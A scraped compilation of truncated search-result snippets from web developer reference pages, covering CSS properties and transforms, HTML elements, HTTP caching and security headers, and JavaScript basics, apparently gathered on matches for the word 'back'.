formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px;
background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
padding-inline-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px;
background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
padding-inline - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
padding - CSS: Cascading Style Sheets
the percentage as specified or the absolute lengthpadding-right: the percentage as specified or the absolute lengthpadding-top: the percentage as specified or the absolute lengthanimation typea length formal syntax [ <length> | <percentage> ]{1,4} examples setting padding with pixels html <h4>this element has moderate padding.</h4> <h3>the padding is huge in this element!</h3> css h4 {
background-color: lime; padding: 20px 50px; } h3 {
background-color: cyan; padding: 110px 50px 50px 110px; } result setting padding with pixels and percentages padding: 5%; /* all sides: 5% padding */ padding: 10px; /* all sides: 10px padding */ padding: 10px 20px; /* top and bottom: 10px padding */ /* left and right: 20px ...
page-break-inside - CSS: Cascading Style Sheets
it has a little bit more text than the third one.</p> </div> css .page {
background-color: #8cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p {
background-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block;
background-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media modul...
<percentage> - CSS: Cascading Style Sheets
examples width and margin-left <div style="
background-color:navy;"> <div style="width:50%; margin-left:20%;
background-color:chartreuse;"> width: 50%, left margin: 20% </div> <div style="width:30%; margin-left:60%;
background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)...
repeat() - CSS: Cascading Style Sheets
</div> </div> css #container { display: grid; grid-template-columns: repeat(2, 50px 1fr) 100px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%;
background-color: #8cffa0; padding: 10px; } #container > div {
background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css grid layoutthe definition of 'repeat()' in that specification.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
h, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; row-gap: 20px; } #flexbox > div { border: 1px solid green;
background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-row-gap: 20px; } #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(3, 1fr); row-gap: 20px; } #grid > div { border: 1px solid green;
background-colo...
scroll-margin-inline-end - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap poin...
scroll-margin-inline-start - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap...
scroll-margin-inline - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap poin...
scroll-margin - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap...
scroll-snap-coordinate - CSS: Cascading Style Sheets
ype: mandatory; font-size: 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-snap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-child(even) {
background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-destination - CSS: Cascading Style Sheets
l-snap-destination: 20px 0; font-size: 0; } .destination0 { scroll-snap-destination: 0 0; } .destination25 { scroll-snap-destination: 25px 0; } .destination50 { scroll-snap-destination: 50px 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .scrollcontainer > div:nth-child(even) {
background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-x - CSS: Cascading Style Sheets
"> <div>1</div> <div>2</div> <div>3</div> </div> css #container { width: 200px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) {
background-color: #87ea87; } #container > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-y - CSS: Cascading Style Sheets
<div>2</div> <div>3</div> </div> css #container { height: 200px; width: 220px; overflow-x: hidden; overflow-y: auto; scroll-snap-points-y: repeat(200px); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) {
background-color: #87ea87; } #container > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-stop - CSS: Cascading Style Sheets
center; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 256px; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) {
background-color: #87ea87; } .container > div:nth-child(odd) {
background-color: #87ccea; } html <div class="container x mandatory-scroll-snapping" dir="ltr"> <div>x mand.
scroll-snap-type - CSS: Cascading Style Sheets
center; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) {
background-color: #87ea87; } .container > div:nth-child(odd) {
background-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
shape-margin - CSS: Cascading Style Sheets
ts to set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on the other two sides of a right triangle, and it will be so after this world is dead; and the inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px;
background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
top - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body {
background: beige; } div { position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%;
background: gold; border: 1px solid blue; } <div>the size of this content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
touch-action - CSS: Cascading Style Sheets
html <div id="map"></div> css #map { height: 400px; width: 400px;
background: blue; touch-action: none; } result specifications specification status comment compatibility standardthe definition of 'touch-action' in that specification.
matrix() - CSS: Cascading Style Sheets
homogeneous coordinates on ℝℙ3 ac bd actxbdty001 actxbdty001 ac0txbd0ty00100001 [a b c d tx ty] the values represent the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
perspective() - CSS: Cascading Style Sheets
font-size: 100px; text-align: center; } p + div { width: 100px; height: 100px; transform-style: preserve-3d; margin-left: 100px; } .no-perspective-box { transform: rotatex(-15deg) rotatey(30deg); } .perspective-box-far { transform: perspective(9cm) rotatex(-15deg) rotatey(30deg); } .perspective-box-closer { transform: perspective(4cm) rotatex(-15deg) rotatey(30deg); } .top {
background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left {
background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front {
background-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transforms level 2the definition of 'perspective()' in that s...
rotate3d() - CSS: Cascading Style Sheets
a)+xy(1-cos(a))-y·sin(a)+xz·(1-cos(a))-z·sin(a)+xy·(1-cos(a))1+(1-cos(a))(y2-1)x·sin(a)+yz·(1-cos(a))ysin(a) + xz(1-cos(a))-xsin(a)+yz(1-cos(a))1+(1-cos(a))(z2-1)t0001 homogeneous coordinates on ℝℙ3 examples rotating on the y-axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotate3d(0, 1, 0, 60deg);
background-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg);
background-color: pink; } result ...
rotateX() - CSS: Cascading Style Sheets
1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotatex(45deg);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
rotateY() - CSS: Cascading Style Sheets
cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotatey(60deg);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotatez(45deg);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
scaleX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 s0 01 s00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scalex(0.6);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scalex()' in that specification.
scaleY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10 0s 1000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scaley(0.6);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scaley()' in that specification.
scaleZ() - CSS: Cascading Style Sheets
10001000s 1000010000s00001 examples html <div>normal</div> <div class="perspective">translated</div> <div class="scaled-translated">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .perspective { /* includes a perspective to create a 3d space */ transform: perspective(400px) translatez(-100px);
background-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(400px) scalez(2) translatez(-100px);
background-color: pink; } result specifications specification stat...
skew() - CSS: Cascading Style Sheets
ous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(ax)tan(ay)1 1tan(ax)0tan(ay)10001 1tan(ax)0tan(ay)10001 1tan(ax)00tan(ay)10000100001 [1 tan(ay) tan(ax) 1 0 0] examples using a single x-angle html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */
background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skew(10deg, 10deg);
background-color: pink; } result specifications specificatio...
skewX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(a)01 1tan(a)0010001 1tan(a)0010001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
skewY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10tan(a)1 100tan(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skewy(40deg);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
10tx01ty001 10tx01ty001 100tx010ty00100001 [1 0 0 1 tx ty] formal syntax translate(<length-percentage> , <length-percentage>?) examples using a single-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translate(10px); /* equal to: translatex(10px) or translate(10px, 0) */
background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translate(10px, 10px);
back...
translateX() - CSS: Cascading Style Sheets
10t010001 10t010001 100t010000100001 [1 0 0 1 t 0] formal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
translateY() - CSS: Cascading Style Sheets
10001t001 10001t001 1000010t00100001 [1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translatey(10px);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
translateZ() - CSS: Cascading Style Sheets
html <div>static</div> <div class="moved">moved</div> css div { position: relative; width: 60px; height: 60px; left: 100px;
background-color: skyblue; } .moved { transform: perspective(500px) translatez(200px);
background-color: pink; } what really matters here is the class "moved"; let's take a look at what it does.
white-space - CSS: Cascading Style Sheets
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code {
background-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results {
background-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white-space: normal; font-size: 14px; } var select = document.queryselector("#css-code select"); var results = document.queryselector("#results p"); select.addeventlistener("ch...
widows - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div {
background-color: #8cffa0; columns: 3; widows: 2; } p {
background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
writing-mode - CSS: Cascading Style Sheets
/td> <td class="example text5"><span>example text</span></td> <td class="example text5"><span>מלל ארוך לדוגמא</span></td> <td class="example text5"><span>1994年に至っては</span></td> </tr> </table> css some preparatory css just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th {
background-color: lightgray; } .example { height:75px; width:75px; } the css that adjusts the directionality of the content looks like this: .example.text1 span, .example.text1 { writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -ms-writing-mode: horizontal-tb; } .example.text2 span, .example.text2 { writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -ms-...
z-index - CSS: Cascading Style Sheets
es visually layering elements html <div class="dashed-box">dashed box <span class="gold-box">gold box</span> <span class="green-box">green box</span> </div> css .dashed-box { position: relative; z-index: 1; border: dashed; height: 8em; margin-bottom: 1em; margin-top: 2em; } .gold-box { position: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */
background: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */
background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (revision 1)the definition of 'z-index' in that specificati...
zoom - CSS: Cascading Style Sheets
: normal; } p.big { zoom: 2.5; } p { display: inline-block; } p:hover { zoom: reset; } result second example html <div id="a" class="circle"></div> <div id="b" class="circle"></div> <div id="c" class="circle"></div> css div.circle { width: 25px; height: 25px; border-radius: 100%; text-align: center; vertical-align: middle; display: inline-block; zoom: 1.5; } div#a {
background-color: gold; zoom: normal; } div#b {
background-color: green; zoom: 200%; } div#c {
background-color: blue; zoom: 2.9; } result specifications not part of any standard.
CSS: Cascading Style Sheets
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
Guide to Web APIs - Developer guides
web apis from a to z aambient light eventsb
background tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong t...
Writing Web Audio API code that works in every browser - Developer guides
if it's using, for example, oscillatornode, you will have to wait until it is supported, or maybe, if you're really eager, hack in some replacement using scriptprocessornode, which allows you to write a node with call
backs that get called periodically, so that your javascript code generates or processes audio.
Mutation events - Developer guides
hanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified mutation observers alternatives examples domnoderemovedfromdocument var isdescendant = function (desc, root) { return !!desc && (desc === root || isdescendant(desc.parentnode, root)); }; var onremove = function (element, call
back) { var observer = new mutationobserver(function (mutations) { _.foreach(mutations, function (mutation) { _.foreach(mutation.removednodes, function (removed) { if (isdescendant(element, removed)) { call
back(); // allow garbage collection observer.disconnect(); observer = undefin...
Orientation and motion data explained - Developer guides
beta rotation around the x axis -- that is, tipping the device away from or toward the user -- causes the beta rotation angle to change: the beta angle is 0° when the device's top and bottom are the same distance from the earth's surface; it increases toward 180° as the device is tipped forward toward the user, and it decreases toward -180° as the device is tipped
backward away from the user.
Overview of events and handlers - Developer guides
events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream play
back or animation timing.
Using device orientation with 3D transforms - Developer guides
there are however two corrections that should be applied to those values: the initial alpha value is 180 (device flat on the
back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey.
Event developer guide - Developer guides
ow you use them.overview of events and handlersevents and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream play
back or animation timing.touch events (mozilla experimental)the experimental touch events api described on this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17.
Making content editable - Developer guides
lue="6">very big</option> <option value="7">maximum</option> </select> <select onchange="formatdoc('forecolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- color -</option> <option value="red">red</option> <option value="blue">blue</option> <option value="green">green</option> <option value="black">black</option> </select> <select onchange="formatdoc('
backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>-
background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;b...
Using HTML sections and outlines - Developer guides
vascript is an object-oriented computer programming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaj">how to enable javascript?</a></p> </noscript> this leads to the following code to allow the support of the html5 sections and headings elements in non-html5 browsers, even for internet explorer (8 and older), with a proper fall
back for the case where this latter browser is configured not to use scripting: <!--[if lt ie 9]> <script> document.createelement("article"); document.createelement("aside"); document.createelement("footer"); document.createelement("header"); document.createelement("nav"); document.createelement("section"); document.createelement("time"); </script> <![endif]--> <noscri...
Index - Developer guides
14 web audio play
backrate explained apps, audio, media, video, play
backrate the play
backrate property of the <audio> and <video> elements allows us to change the speed, or rate, at which a piece of web audio or video is playing 15 writing web audio api code that works in every browser api you probably have already read the announcement on the web audio api coming to firefox, and are tota...
<input type="radio"> - HTML: Hypertext Markup Language
tom: 5px; } label { margin-right: 15px; line-height: 32px; } input { -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 50%; width: 16px; height: 16px; border: 2px solid #999; transition: 0.2s all linear; margin-right: 5px; position: relative; top: 4px; } input:checked { border: 6px solid black; } button, legend { color: white;
background-color: black; padding: 5px 10px; border-radius: 0; border: 0; font-size: 14px; } button:hover, button:focus { color: #999; } button:active {
background-color: white; color: black; outline: 1px solid black; } most notable here is the use of the -moz-appearance property (with prefixes needed to support some browsers).
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
for the input types whose domain of possible values is periodic (that is, at the highest possible value, the values wrap
back around to the beginning rather than ending), it's possible for the values of the max and min properties to be reversed, which indicates that the range of permitted values starts at min, wraps around to the lowest possible value, then continues on until max is reached.
<menu> - HTML: Hypertext Markup Language
examples context menu html <!-- a <div> element with a context menu --> <div contextmenu="popup-menu"> right-click to see the adjusted context menu </div> <menu type="context" id="popup-menu"> <menuitem>action</menuitem> <menuitem>another action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> css div { width: 300px; height: 80px;
background-color: lightgreen; } result menu button menu buttons haven't been implemented in any known browsers yet.
<menuitem> - HTML: Hypertext Markup Language
</menuitem> <hr> <menuitem type="radio" radiogroup="group1">radio button 1</menuitem> <menuitem type="radio" radiogroup="group1">radio button 2</menuitem> </menu> css content div { width: 300px; height: 80px;
background-color: lightgreen; } result specifications specification status comment html 5.2the definition of '<menuitem>' in that specification.
<p>: The Paragraph element - HTML: Hypertext Markup Language
switch
back!">use pilcrow for paragraphs</button> </p> css p { margin: 0; text-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: " ¶ "; } javascript document.queryselector('button').addeventlistener('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); });...
<slot> - HTML: Hypertext Markup Language
examples <template id="element-details-template"> <style> details {font-family: "open sans light", helvetica, arial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0;
background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="descri...
<span> - HTML: Hypertext Markup Language
example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span {
background: gold; } result specifications specification status comment html living standardthe definition of '<span>' in that specification.
<template>: The Content Template element - HTML: Hypertext Markup Language
} the result is the original html table, with two new rows appended to it via javascript: table {
background: #000; } table td {
background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within it.
title - HTML: Hypertext Markup Language
some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fall
back for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
ETag - HTTP
t), and it is stale (too old to be considered usable), the client will send the value of its etag along in an if-none-match header field: if-none-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" the server compares the client's etag (sent with if-none-match) with the etag for its current version of the resource, and if both values match (that is, the resource has not changed), the server sends
back a 304 not modified status, without a body, which tells the client that the cached version of the response is still good to use (fresh).
Feature-Policy: geolocation - HTTP
when this policy is enabled, calls to getcurrentposition() and watchposition() will cause those functions' call
backs to be invoked with a positionerror code of permission_denied.
Feature-Policy - HTTP
when this policy is disabled, calls to getcurrentposition() and watchposition() will cause those functions' call
backs to be invoked with a positionerror code of permission_denied.
If-Match - HTTP
for get and head methods, the server will send
back the requested resource only if it matches one of the listed etags.
If-Modified-Since - HTTP
the if-modified-since request http header makes the request conditional: the server will send
back the requested resource, with a 200 status, only if it has been last modified after the given date.
If-None-Match - HTTP
for get and head methods, the server will send
back the requested resource, with a 200 status, only if it doesn't have an etag matching the given ones.
If-Unmodified-Since - HTTP
the if-unmodified-since request http header makes the request conditional: the server will send
back the requested resource, or accept it in the case of a post or another non-safe method, only if it has not been last modified after the given date.
Referrer-Policy - HTTP
ple.com/page anywhere http://example.com/ strict-origin-when-cross-origin https://example.com/page https://example.com/otherpage https://example.com/page https://mozilla.org https://example.com/ http://example.org (no referrer) unsafe-url https://example.com/page?q=123 anywhere https://example.com/page?q=123 specifying a fall
back policy if you want to specify a fall
back policy in any case the desired policy hasn't got wide enough browser support, use a comma-separated list with the desired policy specified last: referrer-policy: no-referrer, strict-origin-when-cross-origin in the above scenario, no-referrer will only be used if strict-origin-when-cross-origin is not supported by the browser.
Upgrade - HTTP
if the server decides to upgrade the connection, it must: send
back a 101 switching protocols response status with an upgrade header that specifies the protocol(s) being switched to.
X-DNS-Prefetch-Control - HTTP
this prefetching is performed in the
background, so that the dns is likely to have been resolved by the time the referenced items are needed.
X-Frame-Options - HTTP
configuring haproxy to configure haproxy to send the x-frame-options header, add this to your front-end, listen, or
backend configuration: rspadd x-frame-options:\ sameorigin alternatively, in newer versions: http-response set-header x-frame-options sameorigin configuring express to configure express to send the x-frame-options header, you can use helmet which uses frameguard to set the header.
Standard built-in objects - JavaScript
arraybuffer sharedarraybuffer atomics dataview json control abstraction objects control abstractions can help to structure code, especially async code (without using deeply nested call
backs, for example).
Lexical grammar - JavaScript
all code points may appear literally in a string literal except for these closing quote code points: u+005c \ (
backslash), u+000d <cr>, and u+000a <lf>.
Optional chaining (?.) - JavaScript
at this position as well: someinterface?.custommethod?.() dealing with optional call
backs or event handlers if you use call
backs or fetch methods from an object with a destructuring assignment, you may have non-existent values that you cannot call as functions unless you have tested their existence.
delete operator - JavaScript
in explorer, while the property value is indeed set to undefined, if one later adds
back a property with the same name, the property will be iterated in its old position--not at the end of the iteration sequence as one might expect after having deleted the property and then added it
back.
Function expression - JavaScript
the function returns the square of its argument: var x = function(y) { return y * y; }; using a function as a call
back more commonly it is used as a call
back: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an immediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascript (ecma-262)the definition of 'function definitions' ...
this - JavaScript
// when called as a listener, turns the related element blue function bluify(e) { // always true console.log(this === e.currenttarget); // true when currenttarget and target are the same object console.log(this === e.target); this.style.
